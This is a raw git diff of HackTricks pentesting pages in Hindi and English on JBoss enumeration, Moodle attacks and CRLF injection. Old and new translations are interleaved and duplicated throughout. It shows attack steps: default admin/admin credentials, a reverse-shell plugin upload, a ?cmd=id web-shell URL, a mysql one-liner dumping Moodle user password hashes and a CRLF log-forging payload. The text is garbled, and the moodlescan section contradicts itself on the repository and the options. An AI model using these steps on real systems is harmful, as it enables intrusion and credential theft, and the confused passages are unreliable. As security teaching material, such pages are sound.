* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके साझा करें।**
* **अपने हैकिंग ट्रिक्स साझा करें और PR जमा करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **का उपयोग करके**
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
{% embed url="https://www.stmcyber.com/careers" %}
## जाँच
_/web-console/ServerInfo.jsp_ और _/status?full=true_ वेब पेज अक्सर **सर्वर विवरण** उजागर करते हैं।
_/web-console/ServerInfo.jsp_ और _/status?full=true_ वेब पृष्ठ अक्सर **सर्वर विवरण** उजागर करते हैं।
आप JBoss में निम्नलिखित पथों के माध्यम से **प्रबंधन सर्वलेट** को उजागर कर सकते हैं: _/admin-console_, _/jmx-console_, _/management_, और _/web-console_ (संस्करण के आधार पर)। डिफ़ॉल्ट क्रेडेंशियल हैं **admin**/**admin**। पहुँच प्राप्त करने के बाद, आप उपलब्ध इनवोकर सर्वलेट का उपयोग करके उजागर किए गए MBeans के साथ संवाद कर सकते हैं:
आप JBoss में निम्नलिखित पथों के माध्यम से **प्रबंधन सर्वलेट** को उजागर कर सकते हैं: _/admin-console_, _/jmx-console_, _/management_, और _/web-console_ (संस्करण के आधार पर)। डिफ़ॉल्ट क्रेडेंशियल हैं **admin**/**admin**। पहुँच प्राप्त करने के बाद, आप उपलब्ध इनवोकर सर्वलेट का उपयोग करके उजागर किए गए एमबीन्स के साथ संवाद करने के लिए उपयोग कर सकते हैं:
* /web-console/Invoker (JBoss संस्करण 6 और 7)
* /invoker/JMXInvokerServlet और /invoker/EJBInvokerServlet (JBoss 5 और पहले)
**आप JBOSS सेवा की जाँच और उपयोग तक कर सकते हैं** [**clusterd**](https://github.com/hatRiot/clusterd)\
**या metasploit का उपयोग करके:** `msf > use auxiliary/scanner/http/jboss_vulnscan`
**आप जेबोस सेवा की जाँच और उपयोग तक पहुँच सकते हैं** [**clusterd**](https://github.com/hatRiot/clusterd)\
**या मेटास्प्लोइट का उपयोग करके:** `msf > use auxiliary/scanner/http/jboss_vulnscan`
### शोषण
@ -38,7 +38,7 @@ _/web-console/ServerInfo.jsp_ और _/status?full=true_ वेब पेज अ
```
inurl:status EJInvokerServlet
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखने और बोलने की जानकारी चाहिए_).
@ -48,10 +48,10 @@ inurl:status EJInvokerServlet
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके साझा करें**.
</details>

View file

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
@ -43,37 +43,65 @@ Admin panel - http://moodle.schooled.htb/moodle/login/
```
### moodlescan
moodlescan is a tool used for scanning Moodle installations to identify potential vulnerabilities. It is specifically designed for penetration testers and security researchers to assess the security of Moodle instances.
moodlescan is a command-line tool used for scanning and identifying vulnerabilities in Moodle installations. It is specifically designed for penetration testers and security professionals to assess the security of Moodle-based e-learning platforms.
#### Installation
To install moodlescan, follow these steps:
1. Clone the moodlescan repository from GitHub:
```
git clone https://github.com/ethicalhack3r/moodlescan.git
```
2. Change into the moodlescan directory:
```
cd moodlescan
```
3. Install the required dependencies using pip:
```
pip install -r requirements.txt
```
#### Usage
To use moodlescan, you need to provide the target Moodle URL as a parameter. The tool will then perform various checks and tests to identify any security weaknesses.
To use moodlescan, run the following command:
```
moodlescan <target_url>
python moodlescan.py [options]
```
#### Features
The available options are:
moodlescan offers several features to help in the assessment of Moodle security:
- `-u, --url`: The URL of the Moodle installation to scan.
- `-f, --file`: The path to a file containing a list of URLs to scan.
- `-o, --output`: The path to the output file where the scan results will be saved.
- `-v, --verbose`: Enable verbose output for more detailed information.
- `-h, --help`: Display the help message and exit.
- **Version Detection**: The tool can detect the version of Moodle installed on the target system, which can be useful in identifying known vulnerabilities associated with that version.
#### Example
- **Plugin Enumeration**: moodlescan can enumerate the installed plugins on the Moodle instance, allowing for further analysis of potential vulnerabilities associated with these plugins.
To scan a single Moodle installation, use the following command:
- **User Enumeration**: The tool can enumerate Moodle users, providing information about registered users on the system. This can be helpful in identifying potential attack vectors.
```
python moodlescan.py -u https://example.com/moodle
```
- **Password Strength Assessment**: moodlescan can assess the strength of user passwords on the Moodle instance, helping to identify weak passwords that may be susceptible to brute-force attacks.
To scan multiple Moodle installations listed in a file, use the following command:
- **Security Configuration Checks**: The tool performs checks on the Moodle instance's security configuration, highlighting any misconfigurations or weak security settings that could be exploited.
```
python moodlescan.py -f urls.txt
```
#### Output
moodlescan provides a detailed report of its findings, including information about the Moodle version, installed plugins, user enumeration results, password strength assessment, and security configuration checks. This report can be used to prioritize and address any identified vulnerabilities.
The scan results will be displayed on the console and saved to the specified output file.
#### Conclusion
moodlescan is a valuable tool for penetration testers and security researchers to assess the security of Moodle installations. By identifying potential vulnerabilities and weaknesses, it helps in securing Moodle instances and protecting user data.
moodlescan is a powerful tool for identifying vulnerabilities in Moodle installations. By using this tool, penetration testers and security professionals can assess the security of Moodle-based e-learning platforms and help improve their overall security posture.
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
@ -105,20 +133,22 @@ Scan completed.
```
### CMSMap
CMSMap एक खुदरा वेब ऐप्लिकेशन है जिसका उपयोग वेबसाइटों के लिए CMS (Content Management System) की पहचान करने और उन्हें स्कैन करने के लिए किया जाता है। यह टूल विभिन्न CMS प्लेटफॉर्मों के लिए विशेष रूप से तैयार किया गया है, जिसमें WordPress, Joomla, Drupal, Magento, PrestaShop, OpenCart, Shopify, vBulletin, phpBB और अन्य शामिल हैं
CMSMap एक खुदरा वेब ऐप्लिकेशन है जिसका उपयोग वेबसाइटों के लिए CMS (Content Management System) की पहचान करने और उन्हें स्कैन करने के लिए किया जाता है। यह टूल विभिन्न CMS प्लेटफॉर्मों के लिए उपयोगी है, जैसे WordPress, Joomla, Drupal, Magento, PrestaShop, OpenCart, आदि
इस टूल का उपयोग करके, आप वेबसाइट के CMS के बारे में जानकारी प्राप्त कर सकते हैं, जैसे कि उपयोग की जा रही CMS का नाम, संस्करण, वेबसाइट के लिए उपयोग किए जा रहे थीम और अन्य विवरण। इसके अलावा, यह टूल वेबसाइट के लिए संभावित सुरक्षा गड़बड़ीयों की जांच करने की क्षमता भी रखता है
यह टूल वेबसाइट के लिए विभिन्न ज्ञात और अज्ञात CMS की पहचान करने के लिए विभिन्न तकनीकों का उपयोग करता है। इसके द्वारा, आप वेबसाइट के लिए उपयुक्त अद्यतन और सुरक्षा सुविधाओं की जांच कर सकते हैं
यह टूल कमांड लाइन आधारित है और Python में लिखा गया है। इसे कमांड लाइन में चलाने के लिए, आपको Python इंटरप्रिटर की आवश्यकता होगी। इसके बाद, आपको CMSMap को डाउनलोड करना होगा और उसे अपने सिस्टम पर इंस्टॉल करना होगा।
इस टूल का उपयोग करने के लिए, आपको इसे डाउनलोड करना और अपने सिस्टम पर स्थापित करना होगा। फिर, आपको वेबसाइट का URL या IP पता दर्ज करना होगा और टूल वेबसाइट के लिए CMS की पहचान करने के लिए स्कैन करेगा।
इसके बाद, आप इस टूल को उपयोग करके वेबसाइटों के CMS की पहचान कर सकते हैं और उन्हें स्कैन कर सकते हैं ताकि आप संभावित सुरक्षा गड़बड़ीयों को पहचान सकें और उन्हें ठीक कर सकें।
यह टूल वेबसाइट के लिए विभिन्न ज्ञात और अज्ञात CMS की पहचान करने के लिए विभिन्न तकनीकों का उपयोग करता है। इसके द्वारा, आप वेबसाइट के लिए उपयुक्त अद्यतन और सुरक्षा सुविधाओं की जांच कर सकते हैं।
इस टूल का उपयोग करने के लिए, आपको इसे डाउनलोड करना और अपने सिस्टम पर स्थापित करना होगा। फिर, आपको वेबसाइट का URL या IP पता दर्ज करना होगा और टूल वेबसाइट के लिए CMS की पहचान करने के लिए स्कैन करेगा।
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
```
### CVEs
मुझे लगता है कि स्वचालित उपकरण मूडल संस्करण पर प्रभावित सुरक्षा खोजने में बहुत असहायक हैं। आप इन्हें यहां जांच सकते हैं: [https://snyk.io/vuln/composer:moodle%2Fmoodle](https://snyk.io/vuln/composer:moodle%2Fmoodle)
मुझे लगता है कि स्वचालित उपकरण मूडल संस्करण पर प्रभावित सुरक्षा खोजने में बेकार हैं। आप इन्हें यहां देख सकते हैं: [https://snyk.io/vuln/composer:moodle%2Fmoodle](https://snyk.io/vuln/composer:moodle%2Fmoodle)
## RCE
@ -128,7 +158,7 @@ cmsmap http://moodle.example.com/<moodle_path>
यदि आप प्रबंधक हैं तो आपको शायद इस विकल्प को **सक्रिय करने की आवश्यकता** हो सकती है। आप मूडल प्रिविलेज उन्नयन PoC में देख सकते हैं: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
फिर, आप निम्नलिखित प्लगइन को **स्थापित कर सकते हैं** जिसमें क्लासिक pentest-monkey php r**ev शेल** होता है (_इसे अपलोड करने से पहले आपको इसे डीकंप्रेस करने, रेवशेल और क्रोम्प्रेस करने के लिए आईपी और पोर्ट बदलने की आवश्यकता होती है_)
फिर, आप निम्नलिखित प्लगइन को **स्थापित कर सकते हैं** जिसमें क्लासिक pentest-monkey php r**ev शेल** होता है (_इसे अपलोड करने से पहले आपको इसे डीकंप्रेस करना होगा, रेवशेल और क्रोम्प्रेस करने के लिए IP और पोर्ट बदलने की आवश्यकता होगी_)
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
@ -142,36 +172,39 @@ http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
### डेटाबेस क्रेडेंशियल्स ढूंढें
जब हम वेब एप्लिकेशन्स को पेंटेस्ट करते हैं, तो हमें डेटाबेस क्रेडेंशियल्स की खोज करने की आवश्यकता होती है। यह जानना महत्वपूर्ण होता है कि डेटाबेस के लिए उपयोग किए जाने वाले उपयोगकर्ता नाम और पासवर्ड क्या हैं, क्योंकि इससे हमें डेटाबेस तक पहुंच मिलती है और हम उसमें संशोधन कर सकते हैं।
जब हम वेब एप्लिकेशन्स को पेंटेस्ट करते हैं, तो हमें डेटाबेस क्रेडेंशियल्स की खोज करने की आवश्यकता होती है। यह जानना महत्वपूर्ण होता है कि वेब ऐप्लिकेशन कैसे डेटाबेस से संपर्क करती है और कैसे डेटा को प्राप्त करती है। इसके लिए हम POST रिक्वेस्ट का उपयोग कर सकते हैं।
इसके लिए, हम वेब एप्लिकेशन के POST रिक्वेस्ट को अद्यतित करके डेटाबेस क्रेडेंशियल्स को खोज सकते हैं। हमें इसके लिए निम्नलिखित कदमों का पालन करना होगा:
POST रिक्वेस्ट डेटा को वेब सर्वर के साथ भेजता है। यदि डेटाबेस क्रेडेंशियल्स को सुरक्षित ढंग से संग्रहीत नहीं किया गया है, तो हम POST रिक्वेस्ट के माध्यम से उन्हें प्राप्त कर सकते हैं।
1. ब्राउज़र में वेब एप्लिकेशन को खोलें और लॉगिन करें।
2. नेटवर्क ट्रैफिक को अवलोकित करें और POST रिक्वेस्ट को ढूंढें।
3. POST रिक्वेस्ट को खोलें और उसमें डेटाबेस क्रेडेंशियल्स की खोज करें।
4. उपयोगकर्ता नाम और पासवर्ड को नोट करें और उन्हें उपयोग करके डेटाबेस तक पहुंचें।
इसके लिए, हम निम्नलिखित कदमों का पालन कर सकते हैं:
इस तकनीक का उपयोग करके हम वेब एप्लिकेशन के डेटाबेस क्रेडेंशियल्स को खोज सकते हैं और उन्हें प्राप्त करके डेटाबेस में संशोधन कर सकते हैं।
1. वेब ऐप्लिकेशन के लिए एक POST रिक्वेस्ट बनाएं।
2. रिक्वेस्ट में एक अवैध यूजरनेम और पासवर्ड शामिल करें।
3. रिक्वेस्ट को वेब सर्वर के साथ भेजें।
4. रिस्पॉन्स में डेटाबेस क्रेडेंशियल्स की खोज करें।
5. खोजी गई क्रेडेंशियल्स को नोट करें और उन्हें उपयोग करें।
यदि हमें डेटाबेस क्रेडेंशियल्स मिल जाती हैं, तो हम उन्हें उपयोग करके डेटाबेस में अनधिकृत पहुंच प्राप्त कर सकते हैं और उसे अपने लाभ के लिए उपयोग कर सकते हैं।
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
### डेटाबेस से क्रेडेंशियल्स को डंप करें
To dump credentials from a database, you can use various techniques depending on the type of database being used. Here are some common methods:
To dump credentials from a database, you can use various techniques depending on the type of database you are targeting. Here are some common methods:
1. **SQL Injection**: If the web application is vulnerable to SQL injection, you can exploit it to extract credentials from the database. By injecting malicious SQL queries, you can retrieve usernames and passwords stored in the database.
1. **SQL Injection**: If the web application is vulnerable to SQL injection, you can exploit it to extract credentials from the database. By injecting malicious SQL queries, you can retrieve usernames, passwords, and other sensitive information.
2. **Brute-Forcing**: If you have obtained a database dump file, you can use brute-forcing techniques to crack hashed passwords. Tools like Hashcat or John the Ripper can be used for this purpose.
2. **Brute-forcing**: If you have obtained a database dump file, you can use brute-forcing techniques to crack hashed passwords. By trying different combinations of passwords and comparing the hashes, you may be able to recover plaintext passwords.
3. **Exploiting Misconfigurations**: Sometimes, misconfigurations in the database server can lead to unauthorized access. By exploiting these misconfigurations, you may be able to extract credentials from the database.
3. **Exploiting Misconfigurations**: Sometimes, databases are misconfigured, allowing unauthorized access. By exploiting these misconfigurations, you can gain access to the database and extract credentials.
4. **Using Database Exploitation Frameworks**: Frameworks like Metasploit provide modules specifically designed for database exploitation. These modules can help you extract credentials from the database.
4. **Using Database Exploitation Tools**: There are several tools available, such as SQLMap, that automate the process of extracting credentials from databases. These tools can help you identify vulnerabilities and retrieve sensitive information.
Remember, it is important to have proper authorization and legal permission before attempting to dump credentials from a database. Unauthorized access to databases is illegal and unethical.
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखने और बोलने की जानकारी चाहिए_).

View file

@ -4,15 +4,15 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS क नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS क नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके साझा करें।**
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
@ -20,57 +20,57 @@
## CRLF क्या है?
जब ब्राउज़र वेब सर्वर को एक अनुरोध भेजता है, तो वेब सर्वर एक प्रतिक्रिया भेजकर जवाब देता है जिसमें HTTP प्रतिक्रिया हेडर और वास्तविक वेबसाइट सामग्री, अर्थात उत्तर शरीर, शामिल होती है। HTTP हेडर और HTML प्रतिक्रिया (वेबसाइट सामग्री) को विशेष वर्णों के एक विशेष संयोजन के द्वारा अलग किया जाता है, अर्थात एक कैरिज रिटर्न और एक लाइन फ़ीड। संक्षेप में इन्हें CRLF के रूप में भी जाना जाता है।
जब ब्राउज़र एक वेब सर्वर को एक अनुरोध भेजता है, तो वेब सर्वर एक प्रतिक्रिया भेजकर जवाब देता है जिसमें HTTP प्रतिक्रिया हेडर और वास्तविक वेबसाइट सामग्री, अर्थात उत्तर शरीर, शामिल होती है। HTTP हेडर और HTML प्रतिक्रिया (वेबसाइट सामग्री) को विशेष वर्णों के एक विशेष संयोजन के द्वारा अलग किया जाता है, अर्थात एक कैरिज रिटर्न और एक लाइन फ़ीड। संक्षेप में इन्हें CRLF के रूप में भी जाना जाता है।
वेब सर्वर CRLF का उपयोग करता है ताकि उसे समझ सके कि नया HTTP हेडर कब शुरू होता है और एक अन्य समाप्त होता है। CRLF एक वेब एप्लिकेशन या उपयोगकर्ता को भी बता सकता है कि एक नई पंक्ति फ़ाइल या पाठ ब्लॉक में शुरू होी है। CRLF वर्ण HTTP/1.1 संदेश का एक मानक है, इसलिए इसका उपयोग Apache, Microsoft IIS और सभी अन्य प्रकार के वेब सर्वर, सहित करता है।\
वेब सर्वर CRLF का उपयोग करता है ताकि उसे समझ सके कि नया HTTP हेडर शुरू हो रहा है और एक अन्य समाप्त हो रहा है। CRLF एक वेब एप्लिकेशन या उपयोगकर्ता को भी बता सकता है कि एक नई पंक्ति फ़ाइल या पाठ ब्लॉक में शुरू हो रही है। CRLF वर्ण HTTP/1.1 संदेश का एक मानक है, इसलिए इसका उपयोग Apache, Microsoft IIS और सभी अन्य प्रकार के वेब सर्वर, सहित करता है।\
स्रोत: [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### CRLF Injection विकल्पता क्या है?
CRLF इंजेक्शन विकल्पता हमले में हमलावर उपयोगकर्ता इनपुट में कैरिज रिटर्न और लाइनफ़ीड वर्णों को सम्मिलित करता है ताकि सर्वर, वेब एप्लिकेशन या उपयोगकर्ता को यह विश्वास हो जाए कि एक ऑब्जेक्ट समाप्त हो गया है और एक और शुरू हो गया है। इस प्रकार, CRLF अक्षर दुष्ट नहीं होते हैं, हालांकि उन्हें दुष्ट उद्देश्य के लिए, HTTP प्रतिक्रिया विभाजन आदि के लिए उपयोग किया जा सकता है।
CRLF इंजेक्शन विकल्पता हमले में हमलावर उपयोगकर्ता इनपुट में कैरिज रिटर्न और लाइनफ़ीड वर्णों को सम्मिलित करता है ताकि सर्वर, वेब एप्लिकेशन या उपयोगकर्ता को यह लगे कि एक ऑब्जेक्ट समाप्त हो गया है और एक और शुरू हो गया है। इस प्रकार, CRLF अक्षर दुष्ट नहीं होते हैं, हालांकि उन्हें दुष्ट इरादे के लिए, HTTP प्रतिक्रिया विभाजन आदि के लिए उपयोग किया जा सकता है।
## वेब एप्लिकेशन में CRLF इंजेक्शन
वेब एप्लिकेशन में CRLF इंजेक्शन का गंभीर प्रभाव हो सकता है, इसके आधार पर ऐप्लिकेशन के एकल आइटम के साथ क्या करता है। प्रभाव जानकारी उजागर करने से लेकर कोड निष्पादन तक हो सकते हैं, एक सीधा प्रभाव वेब एप्लिकेशन सुरक्षा संवर्धन दुरुपयोग का कारण हो सकता है। वास्तव में, CRLF इंजेक्शन हमला एक वेब एप्लिकेशन पर बहुत गंभीर प्रभाव डाल सकता है, हालांकि यह कभी भी OWASP Top 10 सूची में नहीं था। उदाहरण के रूप में नीचे दिए गए उदाहरण में व्यवस्थापक पैनल में लॉग फ़ाइलों को मोड़ना भी संभव है।
वेब एप्लिकेशन में CRLF इंजेक्शन का गंभीर प्रभाव हो सकता है, इस पर निर्भर करता है कि एप्लिकेशन किसी विशेष आइटम के साथ क्या करता है। प्रभाव जानकारी उजागर करने से लेकर कोड निष्पादन तक हो सकते हैं, जो एक सीधा प्रभाव वेब एप्लिकेशन सुरक्षा संवर्धन होता है। वास्तव में, CRLF इंजेक्शन हमला एक वेब एप्लिकेशन पर बहुत गंभीर प्रभाव डाल सकता है, हालांकि यह कभी भी OWASP Top 10 सूची में नहीं था। उदाहरण के रूप में नीचे दिए गए उदाहरण में व्यवस्थापक पैनल में लॉग फ़ाइलों को मानिपुरेट करना भी संभव है।
#### लॉग फ़ाइल में CRLF इंजेक्शन का एक उदाहरण
एक व्यवस्थापक पैनल में एक लॉग फ़ाइल की कलम मानदंड के साथ एक लॉग फ़ाइल की कलम हो सकती है, जैसे नीचे दिखाया गया है:
एक व्यवस्थापक पैनल में एक लॉग फ़ाइल की कलम मान लें जिसमें IP - समय - देखी गई पथ का आउटपुट स्ट्रीम पैटर्न हो, जैसा कि नीचे दिखाया गया है:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
यदि कोई हमलावर HTTP अनुरोध में CRLF वर्णों को संप्रेषित करने में सक्षम होता है, तो वह आउटपुट स्ट्रीम को बदल सकता है और लॉग प्रविष्टियों को नकली बना सकता है। वह वेब एप्लिकेशन से प्रतिक्रिया को नीचे दिए गए तरह के कुछ और बदल सकता है:
यदि कोई हमलावर HTTP अनुरोध में CRLF वर्णों को संप्रेषित करने में सक्षम होता है, तो उसे आउटपुट स्ट्रीम को बदलने और लोग प्रविष्टियों को नकली बनाने की क्षमता होती है। वह वेब एप्लिकेशन से प्रतिक्रिया को नीचे दिए गए तरह के कुछ और बदल सकता है:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
%0d और %0a CR और LF के url encoded रूप हैं। इसलिए हमलावर ने उन वर्णों को सम्मिलित किया और ऐप्लिकेशन ने इसे प्रदर्शित किया तो लॉग एंट्री इस तरह दिखेगी:
%0d और %0a CR और LF के url encoded रूप हैं। इसलिए जब हमलावर उन वर्णों को डालता है और ऐप्लिकेशन उसे प्रदर्शित करता है, तो लॉग एंट्री इस तरह दिखेगी:
IP - समय - यात्रित पथ
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
इसलिए, CRLF अंदरघात संवर्धन की कमजोरी का उपयोग करके हमलावर लॉग फ़ाइल में नकली एंट्री बना सकता है ताकि वह अपने खुद के दुष्ट कार्यों को छिपाए। हमलावर शाब्दिक रूप से पेज हाइजैकिंग कर रहा है और प्रतिक्रिया को संशोधित कर रहा है। उदाहरण के लिए, यहां एक स्थिति का कल्पना करें जहां हमलावर के पास व्यवस्थापक पासवर्ड है और वह प्रतिबंधित क्रिया पैरामीटर को निषिद्ध करता है, जिसे केवल एक व्यवस्थापक द्वारा उपयोग किया जा सकता है।
